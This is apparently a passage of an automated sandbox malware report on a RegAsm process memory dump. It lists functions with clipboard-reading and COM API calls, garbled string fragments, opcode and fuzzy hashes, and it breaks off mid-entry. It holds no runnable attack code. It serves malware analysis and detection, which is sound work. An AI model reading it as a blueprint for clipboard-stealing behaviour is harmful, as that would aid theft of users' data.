String ID: !>?$ z%$()&'$(qM$,-*+$0$01NO$4523$<=:;$@A^_$DEBC$HIFG$HKJM$LMJK$ONIH$PQno$XYVW$[ZED$\]Z[$dgfi$turs$xyvw$x{z}
API String ID: 0-2038966068
Opcode ID: f90f97c9c9ee660e4de228bad1591d79a832447606f1d05447c21198192b42ed
Instruction ID: dd8c9a11170efe247047064befbb3e8e17caaf51c98d00186aa99d3ab3198a48
Opcode Fuzzy Hash: f90f97c9c9ee660e4de228bad1591d79a832447606f1d05447c21198192b42ed
Instruction Fuzzy Hash: F2A2ABB55083819FD730CF11D884BEBBBE1AFC5304F54492EE9C88B251DB399885CB9A

Function 00439BD0 Relevance: 29.8, APIs: 6, Strings: 11, Instructions: 99clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00439BE0
GetWindowLongW.USER32 ref: 00439C05
GetClipboardData.USER32 ref: 00439C15
GlobalLock.KERNEL32 ref: 00439C2E
GlobalUnlock.KERNEL32 ref: 00439D1C
CloseClipboard.USER32 ref: 00439D25

Strings

H, xrefs: 00439C98
s, xrefs: 00439C6B
F, xrefs: 00439C70
S, xrefs: 00439C93
N, xrefs: 00439C8E
G, xrefs: 00439C7A
u, xrefs: 00439C7F
|, xrefs: 00439C84
{, xrefs: 00439C66
}, xrefs: 00439C61
z, xrefs: 00439C75

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: F$G$H$N$S$s$u$z${$|$}
API String ID: 2832541153-1941974359
Opcode ID: c2f3d5519ab13067e96e8a8e1554d226321cbd2039ebb6754a01b94ca404930a
Instruction ID: 1a35188d04eb71108be36436a893f0745e74d17b360d7727ff600e0e31ba3cd0
Opcode Fuzzy Hash: c2f3d5519ab13067e96e8a8e1554d226321cbd2039ebb6754a01b94ca404930a
Instruction Fuzzy Hash: B341617150C3808ED301EF78D48831FBFE0AB96318F05596EE4DA86292D6BD8949C79B

Function 00429978 Relevance: 24.3, Strings: 19, Instructions: 551COMMON

Download Yara Rule

Strings

O=|?, xrefs: 00429ACD
/-, xrefs: 0042A2F3
MI, xrefs: 004299F1
TW, xrefs: 0042A6BA
`a, xrefs: 00429B37
.,, xrefs: 00429DB5
75, xrefs: 0042A2DD
sAuC, xrefs: 0042A004
[Y, xrefs: 004299E6
<&, xrefs: 0042A4E7
53, xrefs: 0042A4FD
Q%e', xrefs: 00429A8B
sq, xrefs: 0042A222
#!, xrefs: 0042A2FE
31, xrefs: 0042A2D2
n)l+, xrefs: 00429A96
9), xrefs: 0042A4F2
<:, xrefs: 00429DC0
37, xrefs: 00429DCB

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: .,$37$53$9)$<&$<:$MI$O=|?$Q%e'$TW$[Y$`a$n)l+$sAuC$#!$/-$31$75$sq
API String ID: 0-518734598
Opcode ID: b3b08317d2e0cfa541fc023eb25e697968bc4af5299184a1130a56b36b739f48
Instruction ID: 03ea407fed1d32f28916693174b9482451e2888c3307ff2ead53aff0a4ec171c
Opcode Fuzzy Hash: b3b08317d2e0cfa541fc023eb25e697968bc4af5299184a1130a56b36b739f48
Instruction Fuzzy Hash: D362D6B55093828AE3748F01E680BDFBBF1BB96344F90892DE5D89B241DB748449CF97

Function 004404AB Relevance: 19.9, APIs: 8, Strings: 3, Instructions: 644memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 0044050C
SysAllocString.OLEAUT32 ref: 004405CC
VariantInit.OLEAUT32(080B0A0D), ref: 00440658

Strings

4`[b, xrefs: 00440C00
<],[, xrefs: 00440531
4`[b, xrefs: 00440DA0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: AllocString$InitVariant
String ID: 4`[b$4`[b$<],[
API String ID: 3074814690-2254285042
Opcode ID: 0ea8b8889e0bb4a45b6034501902803b8855704a2f451e5abac1be5342d0fdbe
Instruction ID: 3b70daff5964ce097363bec6f93c74fecd6cdfee96da66d185794e42f4892200
Opcode Fuzzy Hash: 0ea8b8889e0bb4a45b6034501902803b8855704a2f451e5abac1be5342d0fdbe
Instruction Fuzzy Hash: 6022CA756083409FE714DF28D880B2FBBE1FF85309F14882DE6858B2A1D739E955CB5A

Function 00432830 Relevance: 18.6, APIs: 1, Strings: 9, Instructions: 1081COMMON

Download Yara Rule

Strings

%W U, xrefs: 0043382F
VVOT, xrefs: 00432C91
[X^", xrefs: 00433726
#6C, xrefs: 004332B4, 00433344
SQ, xrefs: 00433825
,"@, xrefs: 004328D4
::, xrefs: 00433158
xdaa, xrefs: 004328F2
vT^:, xrefs: 00433623

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: ,"@$#6C$%W U$::$VVOT$[X^"$vT^:$xdaa$SQ
API String ID: 0-3977809258
Opcode ID: 687946c3e46dcd2fef14dd3dc931c1ff83cc1edd7a341014e5edc793b6e60020
Instruction ID: 6a30e320bc9aa03169a315c8e403c78acd1a2c3e87340e59c740f6ce2ae395c4
Opcode Fuzzy Hash: 687946c3e46dcd2fef14dd3dc931c1ff83cc1edd7a341014e5edc793b6e60020
Instruction Fuzzy Hash: 06827A70405B818AE7318F25C590BA3BBF0AF1B306F14189ED4EB9B293D739A545CF69

Function 00434990 Relevance: 13.1, APIs: 1, Strings: 6, Instructions: 824COMMON

Download Yara Rule

Strings

, xrefs: 004349C8
$8r?, xrefs: 00434DA9
u}|, xrefs: 00434EAE
, xrefs: 004349E3
nLv(, xrefs: 00434D9F
--',, xrefs: 00435299

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: $ $$8r?$--',$nLv($u}|
API String ID: 0-457197051
Opcode ID: 68e599e8ffaa50a487a7f43620eb8ee021e6b6941ac51a7c1ed568df97d2eee9
Instruction ID: 8b41d4da4bcd42269ea7739c650f07c77f5b2283e083b4b23c58f1815274c948
Opcode Fuzzy Hash: 68e599e8ffaa50a487a7f43620eb8ee021e6b6941ac51a7c1ed568df97d2eee9
Instruction Fuzzy Hash: 9352CF70504B418BE7258F35C494BA7BBE1AF4A305F14886EE5EB8B392CB3AF405CB55

Function 004408E6 Relevance: 10.8, APIs: 4, Strings: 2, Instructions: 348COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(00000008), ref: 004408F3
SysFreeString.OLEAUT32(?), ref: 00440920
SysFreeString.OLEAUT32(?), ref: 00440929
SysFreeString.OLEAUT32(?), ref: 00440940

Strings

4`[b, xrefs: 00440C00
4`[b, xrefs: 00440DA0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: FreeString$ClearVariant
String ID: 4`[b$4`[b
API String ID: 3349467263-3640500014
Opcode ID: e385970683e39f11de06317a4428018e5c6c996f516a19f857f1be5293d116c9
Instruction ID: 09d7fc534b87bbdf8393991c9ef56cf577bcdd1ce3a6edc29adcf294396d53e5
Opcode Fuzzy Hash: e385970683e39f11de06317a4428018e5c6c996f516a19f857f1be5293d116c9
Instruction Fuzzy Hash: CFB1CF756083009FE710DF64E891B2FB7E5EB8530AF14883DE685CB252D739E815CB5A

Function 00401000 Relevance: 10.7, Strings: 7, Instructions: 1914COMMON

Download Yara Rule

Strings

0123456789ABCDEFXP, xrefs: 00401445, 004014B3
0123456789abcdefxp, xrefs: 00401451, 004014C3
A, xrefs: 0040144A
gfff, xrefs: 0040228F
gfff, xrefs: 004021E6
-, xrefs: 00402196
gfff, xrefs: 00402249

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: -$0123456789ABCDEFXP$0123456789abcdefxp$A$gfff$gfff$gfff
API String ID: 0-947532036
Opcode ID: e06ab667e6b9483aab09583229f0419af3f4093797c2ed4d09b53c95b9789ffe
Instruction ID: 21de5e691bd859abbc2be4e82a4dcaafefefd4727c911ae8c5553d0c2646aee4
Opcode Fuzzy Hash: e06ab667e6b9483aab09583229f0419af3f4093797c2ed4d09b53c95b9789ffe
Instruction Fuzzy Hash: 4EE2D2716083418FD714CF29C49476BBBE2ABC9314F188A3EE895A73D1D379DA05CB86

Function 00412450 Relevance: 9.7, APIs: 4, Strings: 1, Instructions: 916COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0041254E
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 00412570
GetSystemDirectoryW.KERNEL32(?,00000104), ref: 0041289E

Strings

q-s, xrefs: 00412746

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Initialize$DirectorySecuritySystem
String ID: q-s
API String ID: 1379780170-2538240376
Opcode ID: 574801d40f12a725b9c9cb71e3c2e1c5558239a08317548fb3447c718f303320
Instruction ID: e90c699da80fdbf97deba592771adfca9ffecd6f7c132f23d46d425fcbc939e9
Opcode Fuzzy Hash: 574801d40f12a725b9c9cb71e3c2e1c5558239a08317548fb3447c718f303320
Instruction Fuzzy Hash: AA62D0B45007419FD3219F26D481627BBF1FF06308F14495DE4DA8BBA2D33AE896CB99

Function 0040FA20 Relevance: 7.9, Strings: 6, Instructions: 380COMMON

Download Yara Rule

Strings

~, xrefs: 0040FC4F
{3, xrefs: 0040FB32
f`E, xrefs: 0040FEA7
v{, xrefs: 0040FB42
f`E, xrefs: 0040FEC4
J<BJ, xrefs: 0040FD7D

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: J<BJ$f`E$f`E$v{${3$~
API String ID: 0-1732740514
Opcode ID: 76f2aed4a057638f363fd031f3dbe0569a69028984208c497ec39f2097cc7ed5
Instruction ID: 4e670058078cea7fd43884a886fc8be73a26d202e8482742903b49392826d215
Opcode Fuzzy Hash: 76f2aed4a057638f363fd031f3dbe0569a69028984208c497ec39f2097cc7ed5
Instruction Fuzzy Hash: 53D1687050C3818BD321DF18C49062EBBE1AF92744F54093EE5D1AB7A2D339D949CBAB

Function 004338C0 Relevance: 7.5, Strings: 5, Instructions: 1246COMMON

Download Yara Rule

Strings

?*$2, xrefs: 0043413A
{vry, xrefs: 00433B15
drG, xrefs: 00433CE5
CIBH, xrefs: 004348CB
)FC, xrefs: 00433FD1, 004341EA, 004341F0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: drG$)FC$?*$2$CIBH${vry
API String ID: 0-1492907507
Opcode ID: 76d7692e372014387e47a71721219990899b7678fcf2bf8cf459b591c2ce3725
Instruction ID: ae17b6820417c1f5d865f6f8db41105b67f97988771920ed6e8cdea7b43e7d9c
Opcode Fuzzy Hash: 76d7692e372014387e47a71721219990899b7678fcf2bf8cf459b591c2ce3725
Instruction Fuzzy Hash: 87A28B70405B818AE7328F35C590BE3BBF1AF1A305F04589ED4EA9B282DB3AB545CB55

Function 0043A777 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 82COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 0043A7B1
GetSystemMetrics.USER32 ref: 0043A7C0

Strings

, xrefs: 0043A86B

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: 6d15c560a22f2f746b61e91c69fede85cce94a29c4e560c9bab8bff2291995dd
Instruction ID: 04cec409040a24a7638083f5cbef6eeda66da4d91f8b2fb747c19da65d0b6118
Opcode Fuzzy Hash: 6d15c560a22f2f746b61e91c69fede85cce94a29c4e560c9bab8bff2291995dd
Instruction Fuzzy Hash: 62319FB49182009FDB00EF68D98565EBBF0BB89304F11853EE898D7360D774A959CF86

Function 00433623 Relevance: 5.2, Strings: 4, Instructions: 178COMMON

Download Yara Rule

Strings

%W U, xrefs: 0043382F
VVOT, xrefs: 00432C91
[X^", xrefs: 00433726
#6C, xrefs: 004332B4, 00433344
SQ, xrefs: 00433825
,"@, xrefs: 004328D4
::, xrefs: 00433158
xdaa, xrefs: 004328F2
vT^:, xrefs: 00433623

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: ,"@$#6C$%W U$::$VVOT$[X^"$vT^:$xdaa$SQ
API String ID: 0-3977809258
Opcode ID: 5316a4421e8038fc09d359bae9942a20de967b06b3305538db8130970f2136b8
Instruction ID: 47a7bdd0108c2fb9dd8588cd9d3ff781ee98881393f00aa1a63237223b76b1bc
Opcode Fuzzy Hash: 5316a4421e8038fc09d359bae9942a20de967b06b3305538db8130970f2136b8
Instruction Fuzzy Hash: 4A615B70005B808AE7718F34C494BE7BBE0BF1A306F44589ED4EA9B292DB3AA505CF55

Function 0041FFD8 Relevance: 4.2, Strings: 3, Instructions: 450COMMON

Download Yara Rule

Strings

D, xrefs: 0042031C
4`[b, xrefs: 004205F0
4`[b, xrefs: 00420540

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b$4`[b$D
API String ID: 0-2855741908
Opcode ID: ed9ea28e12b6c3f2a80f412645aefceee75c8d90be7708955877a316dca48e77
Instruction ID: 31d3bb4f6c8ef88d8f7c367f3412f89acc0e11c248f3c087f24487996a868f02
Opcode Fuzzy Hash: ed9ea28e12b6c3f2a80f412645aefceee75c8d90be7708955877a316dca48e77
Instruction Fuzzy Hash: 5DE1BBB0608381DFD720CF24E895BABB7E2FF85305F54496EE4889B352D3799850CB5A

Function 00427230 Relevance: 4.2, Strings: 3, Instructions: 429COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00427680
`cb], xrefs: 0042745A
hi, xrefs: 00427252

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b$`cb]$hi
API String ID: 0-188674353
Opcode ID: 1f5791c10a8d9b9034cf8b33a2b296a3773450a9b318bd1f49d32c9470c40f7b
Instruction ID: e8b149cf807d1c003d5c69b0e71323098e2fb5bb7a12dbfc9662ce51d29e78b9
Opcode Fuzzy Hash: 1f5791c10a8d9b9034cf8b33a2b296a3773450a9b318bd1f49d32c9470c40f7b
Instruction Fuzzy Hash: FDC1BE7160C3209BD710EF18E881A2BB7E4EF96354F84095EF8C597351E339E954C7AA

Function 00420A70 Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

IO, xrefs: 00420D00
|}, xrefs: 00420C9D
M"C, xrefs: 00420D07

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: |}$IO$M"C
API String ID: 0-2140647755
Opcode ID: a38601d3fca04be0643588d29395e0164f5203bdcff9d00cb4cb4415e9c9f1d7
Instruction ID: 95a8a3ba117dcb61b299199237c9eeeb104e0e6ef4a4d217e90056a207d5ce29
Opcode Fuzzy Hash: a38601d3fca04be0643588d29395e0164f5203bdcff9d00cb4cb4415e9c9f1d7
Instruction Fuzzy Hash: A7E1ACB5D00269DBDF04CFD4E881AEEBBB1BF06304F640859E850AB346D3759A45CBA9

Function 0042FE26 Relevance: 4.1, Strings: 3, Instructions: 362COMMON

Download Yara Rule

Strings

((*, xrefs: 0042FFED
KJML, xrefs: 00430183, 0043018B
4`[b, xrefs: 004301C0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: ((*$4`[b$KJML
API String ID: 0-1972290462
Opcode ID: dec8e1f1a6e47717e73a8b1603991c167e71ac5dd27e416a59c03452828de5c7
Instruction ID: fe7f7a316f197fe0042526b9999b7c3ec2d399551d2672056d428c2cb04b8ed6
Opcode Fuzzy Hash: dec8e1f1a6e47717e73a8b1603991c167e71ac5dd27e416a59c03452828de5c7
Instruction Fuzzy Hash: ADC10371E00205CFDF09CFA8D851BAEBBB2EF4A305F248269E415B7392D7399945CB58

Function 00421AD0 Relevance: 3.0, Strings: 2, Instructions: 527COMMON

Download Yara Rule

Strings

wcjn, xrefs: 00421F03, 00421F0B
fL[D, xrefs: 00421ED8

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: fL[D$wcjn
API String ID: 0-3212404223
Opcode ID: f7381f910d54b45702fc34180e1fe2687b4c52f9d4af3e67fb7e363e571e8373
Instruction ID: f42574bc615607f6af951fa0bda80222cba276cb5f891ef9b4a55e7d3f85a151
Opcode Fuzzy Hash: f7381f910d54b45702fc34180e1fe2687b4c52f9d4af3e67fb7e363e571e8373
Instruction Fuzzy Hash: CF029C75608350ABD311EF25E841B2FBBE4AF95308F44492EF5C897262D239E914CB9B

Function 0042CAD0 Relevance: 2.8, Strings: 2, Instructions: 344COMMON

Download Yara Rule

Strings

w, xrefs: 0042CE40
KJML, xrefs: 0042CBB3, 0042CBBB

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: KJML$w
API String ID: 2994545307-3028343826
Opcode ID: 4633c47ec76e09bc5f344fa9432b6b331caf1fae4f0c009488e9d39b1f9fd13b
Instruction ID: 080b7696ce438855e2865b836230b873bea6a0c21e24f15a690f1c4f281cc9ae
Opcode Fuzzy Hash: 4633c47ec76e09bc5f344fa9432b6b331caf1fae4f0c009488e9d39b1f9fd13b
Instruction Fuzzy Hash: B0B101706083118BE714DF25E881B2FBBE1EF96314F54492EE5C997352E339E844CB9A

Function 00440A70 Relevance: 2.8, Strings: 2, Instructions: 277COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00440C00
4`[b, xrefs: 00440DA0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b$4`[b
API String ID: 0-3640500014
Opcode ID: d1b627fec911b8c28985ab63311d4cc2010a42749d977885f13158c72016bf89
Instruction ID: 4a5db5bc531862a3fafa49679c1da16283dda6f39ad5b5a5d790b33b14943aa6
Opcode Fuzzy Hash: d1b627fec911b8c28985ab63311d4cc2010a42749d977885f13158c72016bf89
Instruction Fuzzy Hash: 3081D3B160C3409BE710DF65E981B2FB7E5EB85709F04482DF6C487252D739E824CB6A

Function 004452E0 Relevance: 1.9, Strings: 1, Instructions: 662COMMON

Download Yara Rule

Strings

f, xrefs: 004454BB

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: f
API String ID: 0-1993550816
Opcode ID: 0a82051139f66ddf593a476851d42ce7362ebefd45d52c377741e50279ceb0fc
Instruction ID: 69f14e0446ed55d0bc363b11fecc12665fd0227c7f6396fa499844b82b808001
Opcode Fuzzy Hash: 0a82051139f66ddf593a476851d42ce7362ebefd45d52c377741e50279ceb0fc
Instruction Fuzzy Hash: 5D32AF716087419FEB14CF18C880B2FBBE1ABC8354F58892EF895973A2D778D845CB56

Function 00413EEC Relevance: 1.8, Strings: 1, Instructions: 559COMMON

Download Yara Rule

Strings

p9A, xrefs: 004140B0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: p9A
API String ID: 0-2767146494
Opcode ID: cc4438e265543dc60c17e4af3816322dfc04a26b990f0c8e12e52939bdc12f3d
Instruction ID: 2c8aa80ce659a15c762eb3e1e81ca8c73c00eafc5f89e39574f9bbbba22e0185
Opcode Fuzzy Hash: cc4438e265543dc60c17e4af3816322dfc04a26b990f0c8e12e52939bdc12f3d
Instruction Fuzzy Hash: 5812BCB5500B008FD725CF24D980B67B7F2AF86309F14892ED49A87B92E739F845CB59

Function 00426FC0 Relevance: 1.7, APIs: 1, Instructions: 245comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(0044EB80,00000000,00000001,0044EB70), ref: 00426FE9

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: 6b857c024720ac7b7e352e76ddfa4817e7e42bf3c285e39b0cfbbb18e45e5121
Instruction ID: 6c14e4c9a293253992b80aceda0b72b65ad673230c86ebd3f60838f3fce4d3ea
Opcode Fuzzy Hash: 6b857c024720ac7b7e352e76ddfa4817e7e42bf3c285e39b0cfbbb18e45e5121
Instruction Fuzzy Hash: DE61FEB03082209BDB209B24DC96B7733A4EF82358F144559F986CB390E379E809C76A

Function 004314A0 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 00431788

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: 3a375ffb791029574d5d487153f84a713dd1c5f8a93d4cec6e8116d322515391
Instruction ID: dac99c5dab73986a5260e87837a74846541daf9fe20671a14200a52273f6332c
Opcode Fuzzy Hash: 3a375ffb791029574d5d487153f84a713dd1c5f8a93d4cec6e8116d322515391
Instruction Fuzzy Hash: CCC159B2A043045BD7148F24C49176BB7E9AF89354F1C9A2FE895873A1D73CDC44C79A

Function 00449620 Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

P, xrefs: 004497C7

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 096e396a3b36b829a6566558fd17d7f7d8ce7d5dba024e2e843d7647ff22d511
Instruction ID: dd4241a5a5a1caa29915f85dd6641d1f89e5dc2f7704d5486d9f392ef1a7eae6
Opcode Fuzzy Hash: 096e396a3b36b829a6566558fd17d7f7d8ce7d5dba024e2e843d7647ff22d511
Instruction Fuzzy Hash: E9D104329082714FE725CE18989071FB6E1EB85718F168A3DE8B5AB381CB75DC06D7C6

Function 0042DFE0 Relevance: 1.6, Strings: 1, Instructions: 313COMMON

Download Yara Rule

Strings

2B, xrefs: 0042E224

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 2B
API String ID: 0-2489582833
Opcode ID: e7c9954c64a2a2e716abb4006260575443ff31ca00f66fa76071335e070d8145
Instruction ID: 1648f17e86a6f30225877104b632deb72bbb2998103f50de6865a7bf14004587
Opcode Fuzzy Hash: e7c9954c64a2a2e716abb4006260575443ff31ca00f66fa76071335e070d8145
Instruction Fuzzy Hash: 26A15731608391DFD3158F39EC5132A7BE2BF8A312F0986BDE491873A2D739DA458B05

Function 00434629 Relevance: 1.6, Strings: 1, Instructions: 303COMMON

Download Yara Rule

Strings

?*$2, xrefs: 0043413A
{vry, xrefs: 00433B15
drG, xrefs: 00433CE5
CIBH, xrefs: 004348CB
)FC, xrefs: 00433FD1, 004341EA, 004341F0

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: drG$)FC$?*$2$CIBH${vry
API String ID: 0-1492907507
Opcode ID: bc606f07fc9a9b37c0bbc1281e8971c1ba7d3ec63685693cc84bf1c889e06ed2
Instruction ID: cd923c6c2a59a948de96ec4fde7e4145b598f3882073ecf6b485000af5a54b7d
Opcode Fuzzy Hash: bc606f07fc9a9b37c0bbc1281e8971c1ba7d3ec63685693cc84bf1c889e06ed2
Instruction Fuzzy Hash: 40B15C70404B818AE776CF39C490BE3BBE0AF5A304F44589ED4EA87792DB3AB445CB55

Function 00448D80 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00448F90

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: InitializeThunk
String ID: 4`[b
API String ID: 2994545307-3962175265
Opcode ID: d7efba24f39cafc4f8138a2c0540639fa06f185e091667fb1a290be13ed1cba3
Instruction ID: 65037cb4b131e6f69ae25d9d0f844069ac1afd20bdace3c3e68c66be08e3ab69
Opcode Fuzzy Hash: d7efba24f39cafc4f8138a2c0540639fa06f185e091667fb1a290be13ed1cba3
Instruction Fuzzy Hash: 3291C371608341ABF720DB15DC41B6FB7E6EB85354F54882EF98487352EB34E840DB9A

Function 00448B90 Relevance: 1.4, Strings: 1, Instructions: 178COMMON

Download Yara Rule

Strings

4`[b, xrefs: 00448D40

Memory Dump Source

Source File: 00000004.00000002.1394693175.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b
API String ID: 0-3962175265
Opcode ID: a9deb8d38d84d4afaf040186a8d67045d647737b27c5b75a10c779e7b3d72402
Instruction ID: c5202ddbdcec288203f215c2c9f34064d5f6e2a8da8471ef5e17f24a05bd36fb
Opcode Fuzzy Hash: a9deb8d38d84d4afaf040186a8d67045d647737b27c5b75a10c779e7b3d72402
Instruction Fuzzy Hash: DB511371A09310ABEB159B189C90B3FB7E5EB89314F148A2DF8E5573E1CA35EC01C75A

Function 00425030 Relevance: 1.3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

Strings

@QB, xrefs: 0042513A

Memory Dump Source

